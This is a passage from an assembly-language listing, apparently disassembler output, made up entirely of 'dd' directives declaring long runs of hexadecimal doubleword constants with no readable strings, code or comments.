2A9CE6D0h, 86B3F8B7h dd 0EECD7855h, 78AA00BBh, 0EC7642A6h, 7F0089C2h, 0D90B8BE8h dd 0FC4D6BFh, 0E6E991F1h, 2487A258h, 4D3C5F1Eh, 0BFEF001h dd 0A88070B9h, 0CED501CBh, 6700B5C1h, 35143A28h, 704426FCh dd 769C9059h, 0B8665407h, 0B0683BAAh, 0C11AFB1Dh, 0D1A99284h dd 7CA820CAh, 1B2344Ch, 1476D84Eh, 20D558ABh, 384C1ED0h dd 4080EC62h, 9179D32Fh, 9E00A855h, 0EE74C6CCh, 7EAAA054h dd 0AD093F57h, 680BA4h, 0BB1A6336h, 0A80139ECh, 6CD80607h dd 21818411h, 4522BF23h, 8711803Eh, 9EDCD13Ch, 977A0064h dd 90E952FCh, 48000FB0h, 7B31F732h, 871455h, 0A54C5EA4h dd 28F32368h, 12AD1D12h, 52796040h, 0E9865ECh, 0BDCF4739h dd 0A93ABA0h, 0C7131836h, 7900BAB4h, 0A6812AFDh, 59190043h dd 801AAC0Eh, 161340A5h, 0B40007A4h, 0B11D5F5Bh, 51609067h dd 6032A491h, 9AAD8F00h, 95B66ECFh, 0EAC62903h, 0FDA2E66Ch dd 0F10FB840h, 26D2F5h dd 0FD1235D0h, 7667F0F9h, 0E01A1D01h, 387902A2h, 98FB9DC8h dd 580A0134h, 0FF3D9044h, 66DC863h, 9A505B7Fh, 0C700B2BCh dd 0AB31AAD2h, 5845AEh, 0B56364EBh, 4B9C86CBh, 99E5BF00h dd 2F516976h, 8A610003h, 8FEB8166h, 0B30126F1h, 0ECF1015h dd 0A370D2E1h, 2CF33B3Dh, 0A6723B89h, 6744009Fh, 0A0B0DA32h dd 0B70585CBh, 329E21CDh, 0E0EB00C3h, 0B8B4DD1Bh, 74B00AB7h dd 94075Fh, 0B77B8C1Dh, 0D300B323h, 7ED00ECDh, 0B65E91h dd 4A3FD53Eh, 8BB8216Bh, 0C88DA500h, 0F7DD16BEh, 75B403E7h dd 7D87D257h, 115B1DA0h, 0B3538102h, 602A67A2h, 30E1D40Eh dd 5CC218Dh, 8590CD15h, 0C4471700h, 3D852E41h, 0F82200BBh dd 0D567AA0Fh, 70FA127Ch, 0E4B49C02h, 604DFE45h, 1A13DCC3h dd 0F47996C8h, 9F5DDD07h, 0F000EDB4h, 51A7CAE0h, 78039F70h dd 6C253BB7h, 5E32D902h, 18707C8h, 0E9D03C54h, 0CC3E2E1Dh dd 33396980h, 0D5C031Ah, 0B8DB7B43h, 5332FEh, 9171BBA6h dd 162F894Ch, 0B0046FCh, 0E3F94BDCh, 9528BAh, 92104A5Eh dd 0F7F6A1E8h, 0B165B203h, 609E083Bh, 0C6FAAE10h, 4D00BF20h dd 0C4C0579h, 0ABE739DEh, 0C64A88B4h, 91F0096h, 6C3E0191h dd 7A005819h, 2F1D62C0h, 0E4C71283h, 0B77217A1h, 5AA875h dd 0F8EB3404h, 501802B1h, 0DDE07Fh, 5B989524h, 0F5AFC7C9h dd 0FBB1270Ah, 0EB008896h, 9B34D330h, 53A40057h, 0BB9A77C6h dd 0DA1D94C5h, 5526E793h, 7DDB801h, 0C1D8C465h, 0E62860A4h dd 9A7A61BEh, 95964600h, 0EC2068C5h, 4C43008Bh, 36D9F079h dd 0D5502793h, 1600C0EBh, 0F30E7164h, 9D824Eh, 4A011B76h dd 0BD0C5AE4h, 7B65E703h, 0C0B30BC0h, 2CB56AB6h, 390BE518h dd 0F21341Dh, 0C2EEFA9Dh, 84353F83h, 82EF2807h, 1E772053h dd 4FDC806Ch, 0B36880FEh, 770FABCCh, 3C7AA288h, 26BB803Eh dd 0B01078A9h, 314A00A1h, 0D42D4D17h, 0F2006776h, 61941423h dd 7D98DDh, 0CC997F8h, 54B66AC5h, 0B8042C75h, 0B369C40Dh dd 96F280FBh, 0F4003AD6h, 6C558C4Fh, 1F5713EFh, 0C06E6F4Bh dd 0C72A2B06h, 0D50ED03Ah, 60568F8Bh, 1DF29745h, 242D307Dh dd 9B9FB790h, 0E0DCC651h, 3C542240h, 5303B9F0h, 24359A80h dd 0CE95F8C9h, 6805046Ch, 82F73A1Fh, 0B0405E74h, 941FD8BFh dd 0DA1FBE25h, 0D6FF0BC0h, 335C837Ch, 0FD802ACBh, 0C89C0A85h dd 87B90082h, 1A60033Eh, 0BCC9DD01h, 7E503B6Eh, 872A020h dd 9A4F99AFh, 20859B0Fh, 0E112AA25h, 0E7670052h, 0C9B05F7Bh dd 0F69851B8h, 94066600h, 0EDBD6CBAh, 381803E0h, 0B06D9FFAh dd 6E15DBE8h, 0B2A9AB01h, 9669B36h, 77D9A020h, 0CB25801Eh dd 0E801F400h, 0C0F8A08Fh, 6A6B0346h, 262B9091h, 60712DF9h dd 0A0A830ECh, 3709CC04h, 7CF9B8FCh, 501B0037h, 9CAF5CBh dd 975DF100h, 0B9C61793h, 0C85B01E6h, 0CE68D1DFh, 0E157D1BBh dd 0B8B07B27h, 64D60E4Eh, 38ABAC5Eh, 9A00FBD8h, 0EE041288h dd 39C46D69h, 8F80ED29h, 51E28E80h, 0C06E1A25h, 0B9F46748h dd 76EA606Fh, 0F60A9Fh, 4422ED5h, 24F55619h, 43F7D800h dd 4D930F0Ch, 46D901A4h, 22E14E45h, 5DA88EB7h, 87350138h dd 0EFE48095h, 0A0B067D5h, 494D10EEh, 79014476h, 0F06C3674h dd 0A440DB33h, 10B2B29h, 0C1E96FA8h, 0CC283035h, 5FE22370h dd 0D9008C98h, 0FCB9E615h, 44438Ch, 508DC095h, 14636913h dd 0C5981273h, 0A1F43800h, 9095CF19h, 9E7DD3h, 0C2810E98h dd 39C82844h, 0B6CA5605h, 0A8407B1Fh, 62A8908h, 0DBDD033Dh dd 3C8F0C13h, 0DEE03398h, 65124Ch, 0A7AF0A36h, 1C2287CDh dd 80E27581h, 997AC270h, 0BC007E7Ch, 0F7DB765Fh, 0FBD65B8h dd 54C08977h, 0B2C080F4h, 0E827705Fh, 6F496907h, 6AD5F54Ah dd 72422180h, 0DDA10EA5h, 805F4048h, 0FDAE03BCh, 0D207B513h dd 0FB7B7AB7h, 77E05A40h, 555E0114h, 0BB4E8557h, 52C040A6h dd 32004548h, 0B9A33E81h, 30D482BDh, 49E8572Dh, 0E100224Bh dd 0FBCA8590h, 30A161Dh, 32F27F3Fh, 0DDF06618h, 0C9005128h dd 0ADCFCAF7h, 71D8B9Eh, 0ECF3DF25h, 0C1B4852Eh, 0C09FE41Fh dd 8A00EEC3h, 19820FA1h, 18AF1A11h, 20639067h, 52F61F6Ch dd 4D22C200h, 1A2CBE05h, 5D0207B7h, 3F5582D0h, 63F947BEh dd 0A8585FFBh, 7E00931Ch, 0DDA3AC3Ch, 3F8A9858h, 0C700965Dh dd 7D71D4DAh, 40008D48h, 0F185BDD0h, 1CF91C18h, 0C0F80C19h dd 8950109Fh, 9E0066BBh, 240BC9FCh, 3FF16A98h, 8507D316h dd 41B8D210h, 70CF0DB6h, 0B00270Fh, 0E7DD2CCBh, 3A6717A8h dd 8300D03Eh, 96407B8h, 0DE0E3DDBh, 4ACC2EA4h, 3283F4EBh dd 0B8BD06DDh, 390AF28h, 134E11D1h, 0B0C7B0F1h, 0FCE6CFB5h dd 75006B73h, 826C7773h, 0F9A1756h, 90AA7E91h, 526058EFh dd 2015893Fh, 0F3BE8800h, 0C9E9A42h, 0A8FD0048h, 23DF4544h dd 1EE015C5h, 0A3AE2700h, 5802B00Fh, 333A14B4h, 4E1ED66Eh dd 0B8760389h, 0B21CE880h, 0EACCC66Fh, 34D31ACh, 0CDC8F0D2h dd 6F937E36h, 8DC0185Ah, 83A36Ch, 92BE6D26h, 9D7BE69Ah dd 73850300h, 0FF518D33h, 0EF8400E4h, 0D2B7C454h, 4D09FC01h dd 208AA7ECh, 0B2C02734h, 3309002Ah, 18EA6B1Bh, 16001C1Ah dd 6AE6B06Fh, 7C9BDC81h, 2467E61Fh, 118859Eh, 1549A80Fh dd 4D9DC41Ch, 0F800657Dh, 0F0C8617Eh, 7727C10Dh, 0BC5106F2h dd 71D747D4h, 0F472871Dh, 362B1540h, 0C3C10Eh, 528CEB1Dh dd 7867307Bh, 648B7C26h, 0CA611B00h, 1F6A21F7h, 81BE5F83h dd 8D3BDFD9h, 517C3085h, 0F17ACC71h, 8B032BE8h, 308F0E55h dd 0DDEB9007h, 52DA1211h, 2B80041h, 0D57E2D44h, 0FB04C800h dd 3D57E09Bh, 14A600DCh, 0C3EBCFF6h, 4500FDCAh, 0D748C731h dd 2C132Ah, 0C19E97CDh, 5D91A44Ch, 557E6201h, 1D8C5321h dd 24E79D60h, 68C112h, 954202F1h, 251FB0B5h, 0DD00CEABh dd 96AA947h, 1DA213CFh, 5160F51h, 2C66AB40h, 1F1D15E5h dd 1145D317h, 1C81CD81h, 0C07E2219h, 0EAC7F7FCh, 6D101A00h dd 0C2F66CC3h, 1F79F1h, 6FD8B95Fh, 0E375C0Dh, 2A33600h dd 0AE4B0A84h, 0AD330710h, 9723BA04h, 0B96EE012h, 74018A0Fh dd 0CAEA722Eh, 4FE0E5E9h, 0F2CB0062h, 1FAA16CDh, 0ED04AC34h dd 0C60D2ED3h, 243C3CC8h, 0E803E1h, 0B57D9080h, 0C7E00F1Bh dd 0C6F73000h, 2E36FE67h, 75E300B4h, 742C8FE5h, 83162521h dd 8840A98Ah, 2E87D7A3h, 0F45B0784h, 737A39B4h, 855D05h dd 29E2BBD4h, 0D099D44Ch, 0C0188219h, 0A500F278h, 7C7B4B1Eh dd 14909978h, 0CE651F00h, 7426E533h, 0DEF01DCFh, 549285CBh dd 0C13F809Ch, 394C8414h, 973200E1h, 20B1C9E1h, 2333147Ch dd 75E4A5h, 0C390D965h, 57877E4Eh, 0BC894900h, 779F1A42h dd 45240063h, 3F2F7970h, 330021CBh, 51525AC4h, 71E7B84h dd 0F288D260h, 364BF002h, 98761C41h, 62778D0Bh, 8F1B8ABDh dd 10F58700h, 0A066D247h, 2A7583FCh, 1E9088C1h, 1257E61Dh dd 16480072h, 0BF59E41Eh, 0EA603Bh, 62E23FDh, 63CCD5h dd 97350F1h, 80FB073Ah, 45F0E3Bh, 6D11370Dh, 1E065DC0h dd 0FC40ED97h, 843260C6h, 0C7F81CFCh, 705DDE70h, 0F7500024h dd 604E72F1h, 7B1B004Bh, 2AB40CD5h, 0FE00C869h, 9904EABFh dd 0B836D9B9h, 0D180008h, 0D47D2EA8h, 0C9070AD6h, 1CEA6C31h dd 0A0F90683h, 3B4704h, 9A690FD8h, 29F5C93h, 84C2C100h dd 0E973C6Dh, 6993C67h dd 4AD18E00h, 0D8D4271h, 435A7AC0h, 1E90A36Bh, 0B98187h dd 6A619D32h, 3D000A70h, 4625FBFAh, 0F808030Dh, 86E5006Bh dd 95E977Fh, 533BA81Bh, 0DF7E9C67h, 0C45FDE97h, 2BD35BC7h dd 0E87493F2h, 4C3B3808h, 440EF4A2h, 47FE52BBh, 3675887Dh dd 0A30711B7h, 0BE7F7B92h, 79393AB0h, 2C810E9Ch, 4EE25A29h dd 746BDD99h, 47CCD6D1h, 82E580E8h, 1C03DE34h, 66BF55BCh dd 8518072Dh, 41247DC3h, 40945260h, 0DD784318h, 0BB04DE00h dd 0BCE4DC55h, 98D0002Eh, 8559717Dh, 30E5872h, 0B21D402Ch dd 0BB2B1C42h, 8CC483B3h, 2FE938DBh, 0EAD68D80h, 0A5D72C75h dd 3B455200h, 85795077h, 545700AFh, 2F8958A0h, 7D0ACBCFh dd 649B4DF0h, 7053A93Eh, 46685247h, 0F3023887h, 4D458BA5h dd 8F6140C8h, 0B080E59Bh, 37D49CC3h, 2000844Fh, 9DAC66F9h dd 13635B11h, 1FE90C8Dh, 2FE8406Eh, 495FB429h, 65D2D804h dd 5B80CC52h, 71789C3h, 5D67ACECh, 7E8E10DBh, 0BA18181Ch dd 8188C26Ch, 0BE7F8Ah, 927F4FC6h, 5BB8F87Dh, 0FC4EC42Eh dd 0E282813Fh, 0D5C77051h, 2D1B60EEh, 0ECDA017Bh, 0A856B3D2h dd 0E2DCE816h, 0A5228B04h, 9C80533Bh, 4365C62h, 0B28B2BDh dd 49E1C069h, 1E01F416h, 22E9901h, 0F5D93537h, 7844E6h dd 0A0F3383Fh, 8091A9C5h, 0EF98ED00h, 0A8754FC8h, 7B3C01C7h dd 507EE235h, 0EF46288h, 0E01CA7FFh, 4A3A0678h, 0B7C0095h dd 7A90EAC4h, 33986593h, 0D6298A00h, 6D354842h, 45FB0055h dd 31A26F3Ch, 989864ECh, 71BF4F00h, 361A882Eh, 47E400F2h dd 506F9139h, 9C981051h, 6D00C2EAh, 0C56E7EE9h, 30C00FF1h dd 0D840CD3Dh, 0D40440CFh, 0DDE2E9B9h, 0D7EF10C0h, 0F03C0373h dd 26DCC9ADh, 0BF89B4F0h, 0CC7AA00Eh, 3E52E0F6h, 0F7C61C1h dd 0B27F202Ch, 0B8F05098h, 492D7000h, 9941EF53h, 0F807009Bh dd 0FA63E49Fh, 2A1FDBE3h, 0DE817F64h, 5E137C30h, 3BAB55C4h dd 6E1FE69Bh, 9740A4F8h, 7D2400AAh, 0E9A7C369h, 0F500609Ah dd 1DEBF0A8h, 0C94A4DD2h, 74805378h, 2FDF96CDh, 7BFD0C00h dd 0BFC2ABDBh, 5F460C9Fh, 0D1410DBBh, 29AE4C00h, 0CED8023Ah dd 71DB6930h, 5118A701h, 0A62BC4BAh, 2D8F8C12h, 9608B8C0h dd 6D5F00C2h, 8D809BA2h, 0C1005EBDh, 459E7D49h, 1D44037Ch dd 3D70BABh, 9ABC6698h, 261D07F0h, 0BE9DB39h, 0A0671EC3h dd 682AEF50h, 62170071h, 0A4566C2Eh, 0AD3C8753h, 3B8100E3h dd 0B122C88Bh, 8870095Fh, 4C9042EAh, 9B00197Eh, 0B6A9FBB4h dd 41837h, 0E48E4EB7h, 8535F550h, 6BC7B18h, 88A12EE0h dd 3C3CAD0Fh, 0F2CD0CF4h, 4C812Fh, 0F1FC5D79h, 83B47EABh dd 66A77000h, 24DC27DEh, 9A810094h, 134CEF97h, 0B600AD5Dh dd 0F4CF6B44h, 95488E3h, 0C358C0Bh, 0F6DE4C00h, 0B828BCBBh dd 0A0789CC4h, 0D00DEF2Ch, 0EB2EA600h, 0C21AF4h, 370123B1h dd 0CAAC0F30h, 0B672DA14h, 0B70E00D0h, 5EB1E6FDh, 46453E9Ch dd 0BF73770Fh, 81439100h, 8850CF52h, 9D1D6EFCh, 60B1A2B7h dd 64F87201h, 2E2E489Eh, 373A3106h, 5102889Fh, 7F8844D2h dd 0E538400Fh, 48A09AFDh, 6B007168h, 7EF2E739h, 0B8031591h dd 31C018E2h, 5FA9B82Bh, 6C731F5Ah, 916981ABh, 0F4DB0B0Ch dd 98004757h, 0DAA29E65h, 1DAAD743h, 0CF5F1AEh, 0CED07522h dd 0E848ED1Ch, 15736DC0h, 0BF68D4Fh, 0D33467BAh, 22557020h dd 0B20368BFh, 32F13314h, 1DE00049h, 21A6D7F7h, 0C2005F66h dd 5D4D7DDEh, 0C0C00755h, 766806C1h, 7C004910h, 0B1F8D858h dd 0E30802Bh, 0E71198C1h, 0CD1F9B00h, 0C607720Ch, 0FDBD6353h dd 22802E20h, 9CE801AAh, 0DE7F2D0Ah, 0CC60703Bh, 3C09C90Ah dd 0A700ACF2h, 860BA25Bh, 35E50026h, 0F7AED268h, 1A018713h dd 4C029B1Ch, 0BC43476h, 2B4E1C94h, 25A282FDh, 0C08049BBh dd 0CF11FFE2h, 0CE547503h, 0C3C28E9Bh, 1CB4D809h, 13D30093h dd 3D660DA1h, 0B7002A1Dh, 0C8B068D9h, 3B4DD8Eh, 2B23B88Ah dd 0BED80337h, 0CC1813A5h, 6940973Bh, 5A9843h, 0E221E1DFh dd 74B68CBBh, 64A8161Fh, 460EF2C1h, 0FC209E66h, 0C24503DCh dd 93D41EFDh, 20E27DD0h, 0C1A55200h, 0EEB7CCC6h, 0F78C00CAh dd 0A7018A2Bh, 6800AE55h, 0B50C3078h, 0FCE4047h, 91F92DE6h dd 0A10A3B60h, 7B98894Bh, 74EC793Bh, 0A6004FE6h, 0BCA2E473h dd 4856C6D4h, 700C454h, 705C8D1Bh, 8406BA90h, 1E4A16DDh dd 0F13D27A0h, 0B100F9DEh, 2CDDB1Ch, 592C00B4h, 318C2969h dd 0C248337Eh, 2A9607ACh, 0DFF09BD1h, 3829159h, 9848516Ch dd 80ECB385h, 0F54E6E4Eh, 70568701h, 9FE45CB9h, 6954CCh dd 19A34457h, 0B684FDB8h, 0BE25E700h, 217A416Eh, 4CE1037Ch dd 0E6F1584Bh, 50C0C780h, 560020EEh, 0B7E49C25h, 244754h dd 0C319BA53h, 0C17592B3h, 0F1D2710Fh, 0E21F20F4h, 0F5F84Dh dd 361D8F1Ah, 1CB3AD50h, 1B91273Ah, 0E89071E6h, 4DB8AE1Eh dd 0EA00548Eh, 0ECE1A356h, 0C09A5D6Ch, 3625D806h, 1F1157DEh dd 404A87AEh, 8C145E8Eh, 5B07E28Ah, 9182109Bh, 0B2E138E3h dd 225DE096h, 0A064905Dh, 54BAB730h, 1F2C4EAh, 0E8BD6756h dd 2022D668h, 7A0F694Ch, 60C67823h, 12350EFAh, 831800A8h dd 0E3D5401Fh, 0B700D115h, 7D86B58Dh, 64FFC939h, 0C02CC8D2h dd 68C20AFCh, 0FA966265h, 4E79B700h, 78B5CC24h, 96250026h dd 2DE3D3CDh, 0B77B3C84h, 83337118h, 27D018h, 0DC8150Ah dd 0A3683459h, 5CF92C00h, 0FB0CB6D2h, 8E1200CDh, 0BEE10533h dd 6D07383Bh, 2B6ABDF1h, 3B32AC0h, 106000FBh, 0CFF9622Dh dd 0B1076C17h, 0E01E44D1h, 2C80DF84h, 13D8406h, 0FAB04670h dd 0E036AEC5h, 7E3B3EFDh, 6A628ED4h, 9C2EC0BAh, 18D96Eh dd 0EB6751D0h, 0BDDBE176h, 0AF45348h, 0B09B582Dh, 9D00BB12h dd 0F778AD26h, 851D0B76h, 7410D4EAh, 0AA0006E5h, 40FB3233h dd 7D234Dh, 0CB54E79Ah, 112EA74Bh, 8080535Ch, 848C2B88h dd 0CA4700D8h, 961CEA30h, 0A91ED998h, 0E800D67Eh, 0D49B85FDh dd 0C2804D1h, 0C09A9426h, 0BBE08214h, 0B82C149Ch, 3A19A500h dd 0CED62Ch, 2AB3676Ch, 620C1D40h, 8BC73400h, 54CAAD6Ah dd 46440076h, 0B5AA3D3Ch, 0FF0277Ah, 80981325h, 1AE18E30h dd 0F33B0186h, 0B1912CECh, 0D87C6132h, 905824CEh, 37920788h dd 8A020501h, 0EBD469D0h, 753460h, 0AD046A49h, 0B370E173h dd 0D5BAACA0h, 0AC681A16h, 0F82F0800h, 637C4Eh, 853F0876h dd 647B4DFBh, 3E143506h, 11FF22h, 243C0D73h, 617E54FAh dd 31403900h, 7A852E7Dh, 449E4A52h, 0A4724DE0h, 53075CECh dd 335A232Ch, 5BA55E40h, 7DCB1D85h, 527E052Ah, 761C489Ah dd 2F303364h, 0BFFCBD09h, 82DCDB0Eh, 66FBC956h, 0BB39182Ch dd 2CDC482Bh, 5B7450ECh, 0A028DB30h, 0E0D25A8Ah, 1CB55356h dd 2D605830h, 4E28355Ah, 501E0C9Dh, 6DC1CC95h, 8D8274FBh dd 902C6AD1h, 59A23CC0h, 4A0193F7h, 9023B48Fh, 0C1E6CCC0h dd 0E8F11E9Eh, 1FF04821h, 921500A4h, 30B23413h, 0D600FF3Bh dd 0C52C2A2Fh, 9E2064h, 0CB3F6EA8h, 163751EBh, 0DEC7300h dd 4AC7129Bh, 5403097Bh, 3780B25Fh, 778F2B47h, 93562E00h dd 0A1E5C14h, 0E4C8019Fh, 0E21A6094h, 0C5C1E043h, 3706BA77h dd 7906C635h, 26AF00E2h, 445A98C8h, 1B00FE60h, 18BDA739h dd 3F54416Ch, 778025A4h, 0BAE4443Bh, 2300570Dh, 6E105065h dd 3A2B34h, 147FF2D1h dd 681535E7h, 1A003FF4h, 93A30675h, 0A501859h, 0DA7749A6h dd 0D6E287A8h, 326A5008h, 0D015F948h, 0FC3A3Fh, 66D72EB8h dd 0E47DBF62h, 5DA8008Ah, 14D2BA51h, 270E6B52h, 0D88D1F5h dd 45F1504Fh, 0BF8C59BDh, 0A548E36Eh, 80D649h, 0A652D34Ch dd 32BF69Ch, 0A3EC94B2h, 0E2F84D75h, 0CE075530h, 0A68B83D4h dd 58F92F90h, 8EE24Eh, 1BBCE069h, 80A13D52h, 4DFDC51Fh dd 0C864E203h, 0DA3EE0C0h, 6F4C0249h, 54E48873h, 3FF43CA0h dd 0E006A3Eh, 0EDBBF5F6h, 0C4C399Dh, 0C23CDD77h, 611F81F1h dd 4006F9B1h, 24C954BAh, 47E04166h, 19F7C68Ch, 3302FB00h dd 617C68E0h, 74D80032h, 0A64C5805h, 9600D469h, 77F319CFh dd 66849Bh, 57371301h, 70DD0BCBh, 6BDEC300h, 0D3BFE87Bh dd 0A39A00F5h, 6C71619Fh, 9C00392Fh, 0A985AC0Ch, 4CA46Bh dd 8809FE97h, 0B61CDB14h, 9CC62A07h, 0F2670438h, 2D9FC980h dd 543B0291h, 137107D5h, 6DE88280h, 88EA32AFh, 147B1000h dd 24990DEAh, 528B1F92h, 0A7B140BCh, 0B8109C0Ah, 12005BF6h dd 4009E827h, 0FB94D9Ah, 5394EA3h, 0DA238720h, 0CF3F57B7h dd 0F45286FAh, 85C86E9Fh, 0F6E05D04h, 94A24Eh, 682E7AB2h dd 0ED582516h, 788A0318h, 956328h, 0C37D4E53h, 0DAF4A21Ah dd 0EA800700h, 60039985h, 0F55004A1h, 4851BF63h, 0E8B342CEh dd 0BE20DC24h, 0F2814B9Fh, 7E2D21EAh, 10B8028Bh, 0A6899E5Ah dd 79440D08h, 0C7228434h, 118A4298h, 90217F82h, 9566E608h dd 72223CBEh, 4D118C42h, 8A2219Ah, 0E88870B1h, 672788A3h dd 1A45688h, 0C6537AA6h, 0DC413182h, 42037BE2h, 315E81F1h dd 768BA0h, 65454820h, 0DD49BE99h, 0F83C4BF4h, 9BBC017Ah dd 0B6C93BBh, 43B370h, 0A5DBD3EAh, 88C6479Dh, 9A576A05h dd 0C0801C22h, 1182D7h, 19250109h, 1E5FE3B8h, 37069E71h dd 0BF13C294h, 38AD1D19h, 114A18B2h, 0DFFC28BDh, 2C3AF898h dd 0AD7F0763h, 0F830D0D2h, 0FA93235h, 70DE9950h, 0FEF11D00h dd 6B03A523h, 0C5475A02h, 0A425B03Ah, 8A0500D7h, 274A9F35h dd 0FDF86319h, 0BA0ABF00h, 8CC1213Fh, 3CB7000Dh, 0CB24B276h dd 4092EE2Eh, 71324B01h, 99C5789Ch, 70003CBBh, 39C2C9ACh dd 15007297h, 2428FD46h, 18EAEEC1h, 11042710h, 2F00CB9Dh dd 209878FCh, 189CFD11h, 98F9C249h, 0C03F8D35h, 0E1EC80AFh dd 2408AD54h, 26860580h, 1365EFh, 0A6418EF5h, 0F07FD752h dd 98C0127Ah, 5377554h, 5CCB0101h, 0FAE5C3B4h, 4A87F41Bh dd 0BECAAD00h, 46421AE6h, 19D008Eh, 3AF3E1A0h, 907C1D4h dd 0F836B60Ah, 66A71BE0h, 14C00708h, 0A0486CC7h, 3C2602D1h dd 2CE83300h, 2A8F214Bh, 3FBF00C9h, 1D2069D9h, 66002D40h dd 526BF05Bh, 0A70B4Bh, 2E427EC6h, 9032B18Eh, 230FF200h dd 966E834Dh, 2F2500FCh, 1D27EECCh, 0C700A0F9h, 0F25F9785h dd 907AEC9Ah, 0C4220EF8h, 0D22094E3h, 0BBF6B2CDh, 9583F200h dd 0F4B4C3DEh, 3220C3B0h, 0FCE84B77h, 8C5C797Bh, 0D1A80000h dd 0A18775C2h, 0FEC30034h, 3AD05FAEh, 0C700A44Bh, 8B399C7Dh dd 0BA74A8h, 0C41FB2A6h, 0E3897EE8h, 7CBB3C1Ch, 0D89784C0h dd 5EED6DCh, 0C9E972D9h, 0BB800ADh, 7E7FB10Fh, 415EC51Eh dd 0AC1AA741h, 62F8ED24h, 664800C8h, 0E0649533h, 0B7798516h dd 2336A71Fh, 0DB28AF84h, 991B0C80h, 3B060067h, 1A63D0B8h dd 72720947h, 4186D502h, 681EBE38h, 2C0280h, 57C193E4h dd 4ECCE992h, 333EA400h, 7BE3A724h, 246CE648h, 39C1D11h dd 0AAB5C69Eh, 3E1CF888h, 0C149ED00h, 98E191FEh, 3AB01AEh dd 87CC371Bh, 5946FCD6h, 0CA2A5F00h, 52AD291Dh, 365A030Ch dd 453E27B1h, 77CCC08Fh, 0F800D9A2h, 9A7E24CBh, 296F33h dd 0DAF1C3ACh, 0AAB12A0Ah, 8A02ED71h, 7705B475h, 80DDE4h dd 0C2DE3C4Ah, 1660BC00h, 5EBA6393h, 817A0FABh, 9CA04212h dd 8A8C2622h, 735AB126h, 40785F00h, 0C160A4h, 70A56356h dd 0EA0734E4h, 0AC41F912h, 86BAD000h, 0F5FE85h, 2E38CB40h dd 0FF6DAA55h, 3AC94400h, 0DEA59A14h, 0DD790096h, 0B7610907h dd 0C860A77Eh, 0B5630F10h, 0D5A0077Bh, 0F049680Eh, 71A3EE95h dd 996EEF00h, 1440AEAFh, 31620024h, 9F3CFC22h, 78009EAAh dd 39991041h, 919467h, 57269537h, 9687696Ah, 164AD4Dh dd 0C01421EAh, 7FA553Dh, 90B917D4h, 97A526D5h, 2F461602h dd 601A9E99h, 0F61CB0Ch, 29B9816Eh, 64A1CB1Eh, 0C4348820h dd 0A6B82F74h, 43061F75h, 29E6F05Ch, 0C26F458h, 65FDF44Fh dd 0C904EC48h, 501C61C3h, 7426F700h, 949803CBh, 8026AC75h dd 190180E7h, 0A3F7B4D8h, 3C90D4F7h, 4133BD1h, 0DB5C93ECh dd 6284C898h, 7E3AB513h, 46171C03h, 5AE9241Dh, 0B97A008Dh dd 0B5809899h, 0A282090h, 0EF00A0A3h, 5F18D6B6h, 6037943Dh dd 8F12781Dh, 5600ABB0h, 0B9969066h, 0A81A255Ah, 4E57784h dd 159795EAh, 8104802Eh, 3E4C09A5h, 8EA11790h, 85961441h dd 0B8816692h, 2FACC597h, 0EAA0807Dh, 8C43B847h, 1C622CD5h dd 4BAD0060h, 4DA6B5E2h, 8D6D2800h, 0FCEDD8E3h, 977E00FFh dd 0B71330EBh, 3B01904Bh, 28495DDBh, 0C201F17h, 0BE191DD8h dd 0ABE607BCh, 0FD9B002h, 42006A79h, 635E393Ch, 1A8229h dd 94E6EF21h, 9206FA5Dh, 79744148h, 7F522A00h, 95A33818h dd 588E1FF3h, 73712D9h, 0B006E1ECh, 0B617D640h, 76002C98h dd 5F8D52B5h, 99C4C7Bh, 65C10688h, 73A0803h, 0C0787EB8h dd 0AEB84B00h, 7CED2AD5h, 0BA4900C4h, 5E261A94h, 5D00F916h dd 37E18C87h, 784824FEh, 0E3920240h, 551DFB35h, 36CEA781h dd 0F1E88E9Ah, 1913836Fh, 659800CAh, 0C517217Eh, 0C22812B7h dd 7406B078h, 0AD224815h, 0BB645811h, 5A19D00h, 6047C9FCh dd 98C13404h, 40C77785h, 0D1C23581h, 14ED9DCh, 17836F3Ch dd 0EC46FF7Ah, 0AA381DD3h, 14858A7h, 8473B1E3h, 18E8B70Bh dd 0C1783A77h, 2414800h, 0A32EB3E5h, 7F7AD400h, 3BEE7BFAh dd 18AF07F2h, 607CAD99h, 0BBBDF7A7h, 9C63E18h, 13290AD8h dd 387391h, 0B5F61A8Fh, 25005FCDh, 82D1AEEDh, 76C848BAh dd 2E960007h, 2105B719h, 4100FB5Dh, 7CA7CF81h, 9B00C8Fh dd 6DE2942h, 0EE2C1CA0h, 470F7123h, 3744978Eh, 0CF3CAFE8h dd 0D04FBC81h, 3E63BB45h, 124300E0h, 0E66641h, 0E5267460h dd 0D20054CBh, 1568E739h, 6653B4E4h, 203289CEh, 0B8341200h dd 2C576C17h, 9351EBEh, 91620084h, 1236C521h, 0ADCA8A00h dd 0C1FBFE32h, 0C30900E7h, 0C98B969Fh, 40E1B918h, 6E36E8CCh dd 745CC41Eh, 0B3009AD2h, 65EDF8AEh, 0E8D45C7Ch, 78A731Eh dd 0E44C53D8h, 0F018D176h, 289B10FBh, 1B2D0110h, 0D2AA6FCFh dd 8CEFE030h, 1166AE00h, 266AABBFh, 0E3C7CCBh, 0F9C30E23h dd 0FA70D861h, 0AFB8F81Eh, 9C86F48h, 0AC152Eh, 0DC9CDA34h dd 0F93F06Eh, 29DFC25h, 0FBCF55C1h, 9B7170C9h, 278B700Fh dd 4BD805Eh, 0FDD06h, 0B93BBC29h, 0C0F59A43h, 0AD7D11Ch dd 7C3E9628h, 5AB8E05Fh, 308F68B0h, 80108548h, 0B8F41EA9h dd 83A65000h, 2042139Eh, 208467ABh, 2334A066h, 0E8C08CE3h dd 6D9F5D9Ch, 0C61A002Dh, 4EFDF159h, 0F230752Ch, 627DC055h dd 89990119h, 5A698F30h, 0C8CC0DBh, 3874D1Eh, 0B651C870h dd 86CF004Eh, 0EA1563Ah, 0B800C7CEh, 0C6ACEF2Fh, 7C424C41h dd 0F5AD008Fh, 8AF18865h dd 34F973B5h, 8B003A74h, 3EAED7EFh, 692B7h, 0ADDAEE80h dd 48CB54Ah, 74209760h, 1B2F1A9h, 52D13DA2h, 0E0165480h dd 0CF003F60h, 0BC67B94Fh, 2B65FBEh, 0A9A5D519h, 0E4527A5Bh dd 0D878749Ah, 4D00BEF6h, 15D6DD46h, 0F08B8Dh, 9742C4F9h dd 0E023DC9Ah, 0C0474F00h, 77E6B798h, 52650054h, 6EC2FA81h dd 0F9053206h, 7B9A8086h, 0DCBD6891h, 9A6BF1F0h, 4EA30AD8h dd 30F3B5FDh, 0F0052020h, 82005CFCh, 